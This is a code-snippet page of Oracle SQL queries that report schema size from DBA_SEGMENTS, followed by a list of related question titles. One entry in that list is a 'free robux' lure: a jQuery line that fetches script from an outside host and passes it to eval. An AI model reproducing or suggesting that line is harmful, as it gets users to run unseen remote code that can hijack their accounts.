/SQL/Size of all tables in a schema oracle

Size of all tables in a schema oracle

SELECT sum(BYTES) / 1e6 AS SIZE_MB FROM DBA_SEGMENTS WHERE OWNER = 'schema_name';
-- By type
SELECT SEGMENT_TYPE, sum(BYTES) / 1e6 AS SIZE_MB FROM DBA_SEGMENTS
    WHERE OWNER = 'schema_name' GROUP BY SEGMENT_TYPE;
-- By schema
SELECT OWNER, sum(BYTES) / 1e6 AS SIZE_MB FROM DBA_SEGMENTS GROUP BY OWNER
    ORDER BY SIZE_MB DESC;

Similar codes

6 votes220 views1 answer
How to get the size of the database in postgresql
SQL
1 vote224 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
0 vote185 views1 answer
Sql alternative to max statement
SQL
0 vote185 views1 answer
How to select a row in sql
SQL
11 votes188 views3 answers
Python sqlite3 create table if not exists
SQL
11 votes174 views1 answer
Oracle view ddl
SQL
0 vote132 views1 answer
Sqlalchemy.exc.DBAPIError: (ibm_db_dbi.Error) ibm_db_dbi::Error: SystemError('<built-in function connect> returned NULL without setting an error')
SQL
2 votes179 views1 answer
Plsql left() function
SQL
11 votes140 views1 answer
Reset identity sql server
SQL
1 vote188 views1 answer
Pl sql create table from another table
SQL